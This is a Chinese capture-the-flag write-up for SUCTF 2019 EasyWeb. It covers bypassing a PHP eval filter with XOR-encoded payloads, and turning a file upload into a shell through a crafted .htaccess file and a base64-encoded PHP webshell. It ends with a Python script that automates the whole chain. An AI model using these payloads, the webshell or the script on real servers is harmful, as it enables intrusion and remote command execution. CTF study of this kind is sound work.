[SUCTF 2019]EasyWeb
考点:1、文件上传 bypass 2、.htaccess的利用
开局源代码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
第三行有个提示:
webadmin will remove your upload file every 20 min!!!!
我的垃圾翻译:你的上传文件每20分钟将会被管理员删除
接着我们去分析源码,一共需要绕过3层判断,分辨是
strlen($hhh)>18
// 传入的值长度不能大于18
preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)
// 正则匹配
strlen($character_type)>12)
// 出现的字符不能超过12个
我们先尝试绕过第二层判断,因为payload长度还没可知,18也挺长的
preg_match
的绕过在这里能想到的只有通过异或绕过(只有^
没有被过滤,~|
都被过滤)
关于异或绕过
php的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行。例如url?a={_GET}{b}();&b=phpinfo,也就是?a=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${????^????}{?}();但是到了eval()函数内部就会变成${_GET}{?}();成功执行。
引用Hanamizuki花水木php异或计算绕过preg_match()
绕过原理
以制作免杀马为例:
在制作免杀马的过程,根据php的语言特性对字符进行!运算会将字符类型转为bool类型,而bool类型遇到运算符号时,true会自动转为数字1,false会自动转为数字0,如果将bool类型进行计算,并使用chr()函数转为字符,使用"."进行连接,便可以绕过preg_match匹配。
详情了解php不同于其他语言部分
但是很多的preg_match会过滤掉".",所以需要使用异或运算进行绕过,很多的免杀马都是这样制作的。php对字符进行异或运算是先将字符转换成ASCII码然后进行异或运算,并且php能直接对一串字符串进行异或运算,例如"123"^"abc"是"1"与"a"进行异或然后"2"与"b"进行异或,以此类推,在异或结束后就获得了想要的字符串。
注意点:进行异或运算时要将数字转换成字符形式,如果数字(int)和字符异或的话,结果只会是数字,例如1"a"=1,"a"2=2,将数字转换成字符串可以使用trim()函数。
拓展:
php特性use of undefined constant,会将没有引号的字符都自动视为字符串,ASCII码大于0x7F的都会被当作字符串,由此可知可以简化异或过程,任何字符与0xff异或都会取相反,这样就能减少运算量了。
从而我们构造出payload(长度刚好为18):
http://de749e14-6125-4f51-9343-53a47bfa635e.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
先查看一下disable_functions
,发现ban了很多命令执行函数system、exec
等
非预期解
这里我尝试搜了一下flag
,没想到直接就给搜出来了
但是细想题目刚开始给了一个get_the_flag
函数没有用的,出于对知识的渴望,就尝试使用其他方式解题
预期解
我们通过以上payload执行了phpinfo()
,同理我们必然可以执行get_the_flag
函数,来让我们看一看如何利用这个函数
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
这里需要绕过以下:
文件扩展名不能有
ph
mb_strpos(file_get_contents($tmp_name), '<?')
文件内容不能有<?
exif_imagetype()
判断文件头字节是否为图片类型
利用.htaccess上传文件
通过刚才的分析可以得知,过滤了ph
,既不能使用伪协议
也不能传入扩展名为php
等php文件,第二次过滤了<?
,看别的师傅的WP说php7以上不可以使用<script>
,所以只能利用.htaccess
上传任意扩展文件达成攻击目的。
先上传最重要的.htaccess
文件了
自己觉得挺全的学习路径:Apache的.htaccess利用技巧
.htaccess
#define width 1
#define height 1
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.jpg"
通过刚才的链接学习到
AddType application/x-httpd-php .jpg # 将.jpg以php的方式解析
php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.jpg"在1.jpg加载完毕后,再次包含base64解码后的1.jpg,成功getshell,所以这也就是为什么会出现两次1.jpg内容的原因,第一次是没有经过base64解密的,第二次是经过解密并且转化为php了的。
还有一点要注意的是,如何绕过图片验证限制,一共有两种方法:
直接在文件头加入以下:
#define width 1
#define height 1
或者以16进制形式在文件头加入:
\x00
原理:#注释和\x00会将这行作为无效行解析
接下来上传图片马
这里传图片马非常要注意的一点是总字节长度必须是4的倍数(保证base64解码成功),这里被坑想了好久
1.jpg
GIF98abbPD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+
上面内容中bb
就是为了凑长度的(这里千万不要换行,虽然换行符也占字节,但是实测没有效果,大概是因为不是可读字符吧)
然后依次传入文件,直接访问传入的图片马就可以了
这里再挂一个大佬的脚本:
import requests
import hashlib
import base64
url = "http://c387b4f3-e235-43cf-9af6-cbecb55f023c.node4.buuoj.cn:81/"
padding = "?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=get_the_flag"
myip = requests.get("http://ifconfig.me").text
ip_md5 = hashlib.md5(myip.encode()).hexdigest()
userdir = "upload/tmp_" + ip_md5 + "/"
htaccess = b"""\x00
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shaw.jpg"
"""
shaw = b"\x00\x00\x8a\x39\x8a\x39" + b"aa" + base64.b64encode(
b"<?php eval($_GET['cmd']);?>") # 00为了满足base64算法凑足八个字节
print(shaw)
files = [('file', ('.htaccess', htaccess, 'image/jpeg'))]
res = requests.post(url=url + padding, files=files)
files = [('file', ('1.jpg', shaw, 'image/jpeg'))]
res = requests.post(url=url + padding, files=files)
print("the path is:" + url + res.text)
emm....,结果发现最终还是在phpinfo
中找flag